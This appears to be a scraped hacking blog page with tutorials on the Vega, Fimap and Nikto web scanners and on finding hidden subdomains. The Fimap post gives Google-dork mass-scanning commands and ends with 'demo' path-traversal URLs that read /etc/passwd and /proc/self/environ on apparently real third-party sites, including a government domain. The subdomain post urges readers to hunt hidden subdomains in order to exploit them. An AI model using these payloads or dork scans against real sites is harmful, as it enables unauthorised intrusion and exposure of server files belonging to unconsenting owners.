.:: Dark Site ::.

Scanning For Web Vulnerability Using Vega Scanner On Backtrack | kali

hi everyone this is one more post on another web vulnerability scanner tool.so this time we will be discussing more about a tool known as Vega.this is very simple tool to use as well as detect some quality (High) vulnerability... 
 
About Vega : 
Vega is an open source scanner and testing platform to test the security of web applications. Vega can help you find and validate SQL Injection, Cross-Site Scripting (XSS), inadvertently disclosed sensitive information, and other vulnerabilities. 
Vega includes an automated scanner for quick tests and an intercepting proxy for tactical inspection.Vega can be extended using a powerful API in the language of the web: Javascript. 
Vega was developed by Subgraph. 
 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrmWhadJGWeN4yhX6Tj1n0y_1A7QltEthu40Im0UxMd65Luh_t3-M01LU-zFN3po4LOq7X_-RumrpgHdp_7nh0ks0hzKH9gIBhj5dJxNpvI41W2ht9zp8j5sR-A0EvUt5nkw4SI6Uc8-th/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="vega scanner" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrmWhadJGWeN4yhX6Tj1n0y_1A7QltEthu40Im0UxMd65Luh_t3-M01LU-zFN3po4LOq7X_-RumrpgHdp_7nh0ks0hzKH9gIBhj5dJxNpvI41W2ht9zp8j5sR-A0EvUt5nkw4SI6Uc8-th/s700/1.png" width="560" /></a></div> 
Lets scan for a website for vulnerability as you can see you directly browse this tool on backtrack by following path. 
 
Bancktrack>vulnerability assessment >web application assessment >web vulnerability scanner>vega 
of course you can easily browse this by some command on terminal 
#cd /pentest/web/vega 
then ./Vega 
Now on the top select scan option since it open graphical user interface of this scanner. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip6vp-8TL3qRYmT0n4dw4TY4fcVpnp_byod3-v4VGCLChAf450fEdiLRGmhVd1Ma95ySqoRl1D8yYI-V4zplvIUFzELz7LROIlXRMTLyXGvLctMFXOjDqahXrsiPpWQO2CSBy8hyyVwtij/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="vega scanner" height="350" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip6vp-8TL3qRYmT0n4dw4TY4fcVpnp_byod3-v4VGCLChAf450fEdiLRGmhVd1Ma95ySqoRl1D8yYI-V4zplvIUFzELz7LROIlXRMTLyXGvLctMFXOjDqahXrsiPpWQO2CSBy8hyyVwtij/s640/2.png" width="560" /></a></div> 
it will ask you for url to scan and below option which you can mark for a scan. 
 
next you can even set the login cookie if your site need any credentials for access. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidoqEKAgqyy8JZ5BWdv5RcNiYAk-xNBkXcHCd5FUeUxmXT289HwyRagT5zKEvaLwUs5LsVoC-T-qLLiubv1so0KV0DJpjuDdFajz-ElqOau-i5p7oldoRYibnUlfGu_LsHK2z-R58uGNhk/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="vega scanner" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidoqEKAgqyy8JZ5BWdv5RcNiYAk-xNBkXcHCd5FUeUxmXT289HwyRagT5zKEvaLwUs5LsVoC-T-qLLiubv1so0KV0DJpjuDdFajz-ElqOau-i5p7oldoRYibnUlfGu_LsHK2z-R58uGNhk/s600/3.png" width="560" /></a></div> 
next click on finish it will scan your website quickly.showing below the vulnerability count as well as url. 
 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnm_FiuqiG-DV-6Kq2StEz3kLFSPx8mk-HYsWXWWFDJAGaZBq3brfJ-v9NBoZXb_pxRwmLUXWPh0B3w0ZTPVb43ekgytbkOcSuUSzs_d4GHxD6Q82nNk3CaRWBBoHBYKS4Ew0fn3iSLVKy/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="vega scanner" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnm_FiuqiG-DV-6Kq2StEz3kLFSPx8mk-HYsWXWWFDJAGaZBq3brfJ-v9NBoZXb_pxRwmLUXWPh0B3w0ZTPVb43ekgytbkOcSuUSzs_d4GHxD6Q82nNk3CaRWBBoHBYKS4Ew0fn3iSLVKy/s600/4.png" width="560" /></a></div> 
Next you just need to re-verify /cross check those vuln url simply by following those url and exploitation. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitMjF9FIefJ_ZCQMWBSti6fcjdtgiemqxgqY29GrnzmavlkBH2hnO_niJLjfll46SftsjsBxDJ55oHoFsvr6HGUrK7cedEXs9x_cnyJJcrrETjR1qqYBIvCjLXaevyWAJalUH7oeqqaCj3/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="vega scanner" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitMjF9FIefJ_ZCQMWBSti6fcjdtgiemqxgqY29GrnzmavlkBH2hnO_niJLjfll46SftsjsBxDJ55oHoFsvr6HGUrK7cedEXs9x_cnyJJcrrETjR1qqYBIvCjLXaevyWAJalUH7oeqqaCj3/s600/5.png" width="560" /></a></div>you can also prepare reports easily for showing to your boss ;). 
have fun ...

Scanning For Web Vulnerability Using Vega Scanner On Backtrack | kali

hi everyone this is one more post on another web vulnerability scanner tool.so this time we will be discussing more about a tool known as Ve...

Best LFI | RFI Scanner in BackTrack Fimap-Exploitation Tool

Hi everyone this is a one more post on web scanner that is actually best on its Business For LFI (Local File Inclusion) And Remote File Inclusion .Though there are various tools available on backtrack but Fimap is one of the finest tool for detecting LFI and RFI on target website and exploiting it. 
 
About Fimap Tool 
 
It is a python tool which can find, prepare, audit, exploit and even google automaticly for local and remote file inclusion bugs in webapps. fimap is another tool which is best for getting LFI and RFI Out of a web app.it is still under development but works very fine. 
 
Features and Functions 
 
<li>Automatically find the root of the file system 
<li>Detect default files outside of the web folder 
<li>Attempts to detect passwords inside the files 
<li>Supports basic authentication 
<li>Can use null byte to bypass some controls 
<li>Writes a report of the scan to a file 
<li>Add your own payloads and patches to the config.py file. 
<li>Has a Harvest mode which can collect URLs from a given domain for later pentesting. 
<li>All commands will now be send base64 encoded. So you can use quotes as much as you want. 
<li>php://input detection is now 100% reliable. 
<li>You can now define a POST string for relative and absolute files in the config.py. 
<li>TTL implemented. You can define it with “—ttl “. Default is 30 seconds. 
<li>Experimental HTTP Proxy support. You can define a HTTP(s) proxy with “—http-proxy localhost:8080″. 
<li>Googlescanner can now skip the first X pages. Use “—skip-pages X”. 
<li>Lots of bugfixes and additional regular expressions. 
<li>Harvest mode which can collect URLs from a given domain for later pentesting. 
<li>Can handle directories in RFI mode like: 
<blockquote><*? include (*$*_GET["inc"] . "/content/index.html"); *?**> 
<***? include (*$*_GET["inc"] . "_lang/index.html"); *?**> 
(Remove * symbol) 
</blockquote>where Null-Byte is not possible. 
<li>You always define absolute path names in the configs. No monkey like redundant pathes like: 
../etc/passwd 
../../etc/passwd 
../../../etc/passwd 
<li> Has a Blind Mode (--enable-blind) for cases when the server has disabled error messages. BlindMode 
<li>Test and exploit multiple bugs: 
include() 
include_once() 
require() 
require_once() 
 
Working With Fimap 
 
Scan a single URL for FI errors 
 
#./fimap -u http://www.example.com/test.php?file=bang&id=23 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTvcm0Tuh8WRPu93-wqSHrOGFAd8qymRm3gdJR-Vx7EPCRcjAAS6pRH49SthsKsE41eXNNRHX2y_TDN4siRlETHbYwWbv9ODVRIz26RIV_XOTmjGix0cwhgSU555NrLHbYTsfbqb1tSLTU/s1600/scan.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="scanning for lfi/rfi" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTvcm0Tuh8WRPu93-wqSHrOGFAd8qymRm3gdJR-Vx7EPCRcjAAS6pRH49SthsKsE41eXNNRHX2y_TDN4siRlETHbYwWbv9ODVRIz26RIV_XOTmjGix0cwhgSU555NrLHbYTsfbqb1tSLTU/s600/scan.png" width="550" /></a></div> 
Scan Google search results for FI errors 
 
#./fimap.py -g -q inurl:index.php 
 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipt6b-is1s8_rk4qMWUbrzXIKmgOCbJMI3zgeiMWpOWqhXThlQA39JsYh3SSnqVr1aM6hUJOXwMjz44WbqJl48XCbpLnwS4XaFGJsD3C4bjE4BszLElRgJlf8j8G8tnuP_4gysmhtdK4sN/s1600/123.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="web scanner" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipt6b-is1s8_rk4qMWUbrzXIKmgOCbJMI3zgeiMWpOWqhXThlQA39JsYh3SSnqVr1aM6hUJOXwMjz44WbqJl48XCbpLnwS4XaFGJsD3C4bjE4BszLElRgJlf8j8G8tnuP_4gysmhtdK4sN/s620/123.png" width="550" /></a></div> 
Harvest all links of a webpage 
 
#./fimap.py –H -u http://example.com–d 3 –w /tmp/urllist 
 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfDpXzst5Prsb2dUlqILHkT2Ha-hYso_kh-_c9pMx5lWoaHogd1dNxQc_uBfIMnSDBqlkNMe7h5sssnFIX7qxIys05TScm3w5z5OubDOZOotTqHVzftq9klGolJ2b-FHD5RT3PP5q4EQlB/s1600/1233.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="best web scanner" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfDpXzst5Prsb2dUlqILHkT2Ha-hYso_kh-_c9pMx5lWoaHogd1dNxQc_uBfIMnSDBqlkNMe7h5sssnFIX7qxIys05TScm3w5z5OubDOZOotTqHVzftq9klGolJ2b-FHD5RT3PP5q4EQlB/s620/1233.png" width="550" /></a></div> 
<li>-m is for mass scanning 
<li>-l is for list 
<li>Scan websites using google dorks 
<li>.fimap.py -g -q ‘inurl:index.php’ 
<li>-g for searching from google 
<li>-q stands for the query which is to be searched in google. 
 
 
Requirements 
 
Needs: Python >= 2.4 
 
Download 
<a href="https://code.google.com/p/fimap/downloads/list">Click Here</a> 
 
Demo Site: 
Vuln Check1 :=http://www.bislig.gov.ph/content1.php?page=5&directLinks=../../../../../../../../../../../../../../etc/passwd 
Vuln Check2 :=http://www.bislig.gov.ph/content1.php?page=5&directLinks=../../../../../../../../../../../../../../proc/self/environ 
 
Exmp 2 := http://www.aladde.org/index.php?load=../../../../../../../../../../../../../../proc/self/environ 
 
Hope you like this tutorial don't forget to leave your valuable comment thank You :)

Best LFI | RFI Scanner in BackTrack Fimap-Exploitation Tool

Hi everyone this is a one more post on web scanner that is actually best on its Business For LFI (Local File Inclusion) And Remote File Incl...

Web Scanner Nikto Tutorial On Kali | Backtrack

Hi everyone as we all know there are numbers of web application scanner present on backtrack os so i will be covering most of the scanner in my upcoming post so today we are going to discuss about a small tool known as Nikto. 
<h2> 
Nikto</h2><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXQgKd98QyzEl5Oi2O14GfaiVkYiXHSsPdbi-10e2CFjGyL7UVgjgWT-N0MJq25o0RmpYWwgOCSS3LLrivT8OUJoApOoaB6i1hvZrZ0gsuBsWS8sd77KHE6lzUf6BVy3tmE8hTxiC0MO1C/s1600/1.png" imageanchor="1"><img height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXQgKd98QyzEl5Oi2O14GfaiVkYiXHSsPdbi-10e2CFjGyL7UVgjgWT-N0MJq25o0RmpYWwgOCSS3LLrivT8OUJoApOoaB6i1hvZrZ0gsuBsWS8sd77KHE6lzUf6BVy3tmE8hTxiC0MO1C/s800/1.png" width="550" /></a></div>Nikto is basically an open source web server scanner which performs comprehensive tests against web servers for multiple items,including over 6500 potentially dangerous files/CGIs, checks for outdated versions of over 1250 servers, and version specific problems on over 270 servers. It also checks for server configuration items such as the presence of multiple index files, HTTP server options, and will attempt to identify installed web servers and software. Scan items and plugins are frequently updated and can be automatically updated. 
 
Nikto is not designed as an overly stealthy tool.its current version is "Nikto 2.1.5" 
 
Some of its key feature:- 
 
<li>Full HTTP proxy support 
<li>Apache user name enumeration 
<li>Logging to metasploit 
<li>Secure Socket Layer support (SSL) 
<li>Subdomain brute forcing (guessing) 
<li>Easy to update 
<li>Save report on multiple format 
 
 
How to use Nikto for scanning web app ? 
 
The usage of this tool is very simple,but before doing these scanning you just need to update it. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0D5EexEuEZ5T1YyPpjwyuQ2aA14cTl-5TKBAI6kA1NZ8o7y4AfZv_JDm6wQOCABfi9OQDS6bOCCWCfMu1GXaM0OQ-5u6ob89b_zx76qSff0jAwX2-qr-zqFw7Tue4YmLku0-DsgYQUazJ/s1600/2.png"><img height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0D5EexEuEZ5T1YyPpjwyuQ2aA14cTl-5TKBAI6kA1NZ8o7y4AfZv_JDm6wQOCABfi9OQDS6bOCCWCfMu1GXaM0OQ-5u6ob89b_zx76qSff0jAwX2-qr-zqFw7Tue4YmLku0-DsgYQUazJ/s700/2.png" width="550" /></a></div> 
Command in backtrack 
 
#./nikto.pl -update (on current directory cd/pentest/web/nikto) 
 
In kali it is. 
 
#nikto -update 
 
To run a basic scan you just need to type. 
 
#nikto -h [ip/target address] 
#./nokto -h [ip/host address](in backtrack) 
 
If you want to check different port than use 
 
#nikto -h [target host] -p [port number] 
 
If you want this test via proxy than you can use by this command 
 
#nikto.pl -h [target host] -useproxy http://localhost:8080/ 
 
For help and know more options available just use. 
 
#nikto -H 
 
i hope this tut will help you to use nikto scanner if any more doubt please do comment :). 
 
<a href="http://cirt.net/nikto2">Thank you for reading</a>.

Web Scanner Nikto Tutorial On Kali | Backtrack

Hi everyone as we all know there are numbers of web application scanner present on backtrack os so i will be covering most of the scanner in...

How to find all hidden sub domain name of a website | Domain name

hello every one this is a small post where i will discuss finding sub domain name of a target website. 
So what exactly subdomain name ..its basically a name that s attached to beginning of a domain name like. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkqIM3MitV3Gfye4W33OB2ZS5gXBC6Y4bIDdGlQh-D9qRYG5RHlqoBu8wEEAE5a2i9bXLwL8otirRgLH5iunODRlEsAIefILUX1V_cXZ6ts0uHGtSUqxrSDVb3vgeduq5WvGobteksVxyU/s1600/subdomains.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkqIM3MitV3Gfye4W33OB2ZS5gXBC6Y4bIDdGlQh-D9qRYG5RHlqoBu8wEEAE5a2i9bXLwL8otirRgLH5iunODRlEsAIefILUX1V_cXZ6ts0uHGtSUqxrSDVb3vgeduq5WvGobteksVxyU/s1600/subdomains.jpg" /></a></div> 
abc.xyz.com 
xxx.xyz.com 
123-xs.xyz.com 
 
Domain name owner usually create such subdomain name in order to create one more side of there Business requirements. 
so as we know some domain name are publicly available but there also some priv8 /hidden domain name that also exist which the owner of domain name might use for internal purpose. 
 
so how we can find those hidden sub domain name so here are some ways by which you can easily find the sub domain name of a website. 
 
<li>Using google 
 
you can simply use a simple google search like. 
 
*.xyz.com 
 
which will list all possible subdomain name indexed by google.com. 
 
<ul>Demo.</ul> 
*.darksite.co.in 
 
 
<li>Using Online site 
 
There are various website which are available for finding possible domain of a website but one of them is . 
 
<a href="http://www.wolframalpha.com/">Wolframalpha</a> 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgUckRzwv9GlBFeGYAu3zLFZi-D7kaNx_l6FzDx9N0ynjKAfrEdYh5BcM3UTvMi5dtYKbX3WhwjanVmp539MRA2Sf28K41fJ5K6x7qi6168cR2QzP8BvCACDTewPeA8J-FTGGZUNMpNLYJ/s1600/Search.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgUckRzwv9GlBFeGYAu3zLFZi-D7kaNx_l6FzDx9N0ynjKAfrEdYh5BcM3UTvMi5dtYKbX3WhwjanVmp539MRA2Sf28K41fJ5K6x7qi6168cR2QzP8BvCACDTewPeA8J-FTGGZUNMpNLYJ/s320/Search.png" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjdB3X3zLQ5_wyf3NearC3KCK_DJlRI14Pl6ShDsZpLh6ydzxsn0ELvNMOL_quarKVFZ6pUCuUoCZDFvyN-g5sslRqpkRTYFH7lbeK0RmsFQ9sXaHGdZQnoBHdJbMwKjrmobUk0G-lQ5JQ/s1600/Search_Result.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjdB3X3zLQ5_wyf3NearC3KCK_DJlRI14Pl6ShDsZpLh6ydzxsn0ELvNMOL_quarKVFZ6pUCuUoCZDFvyN-g5sslRqpkRTYFH7lbeK0RmsFQ9sXaHGdZQnoBHdJbMwKjrmobUk0G-lQ5JQ/s320/Search_Result.png" /></a></div> 
it just list you all possible domain using their DNS analysis. 
 
So is it important to find subdomain name of a website for hackers ? 
 
The answer is very simple .sub domain name usually helps hackers to find the vulnerable url and exploit it. few months back one pakistani guy Rafay Baloch got 5,000$ for finding a sub domain name of paypal and he just guessed the password to be "root".so do find some hidden sub domain and all the best :) .

How to find all hidden sub domain name of a website | Domain name

hello every one this is a small post where i will discuss finding sub domain name of a target website. So what exactly subdomain name ..its...

Scanning For Web Vulnerability Using Vega Scanner On Backtrack | kali

Best LFI | RFI Scanner in BackTrack Fimap-Exploitation Tool

Web Scanner Nikto Tutorial On Kali | Backtrack

How to find all hidden sub domain name of a website | Domain name

Popular Posts

Blog Archive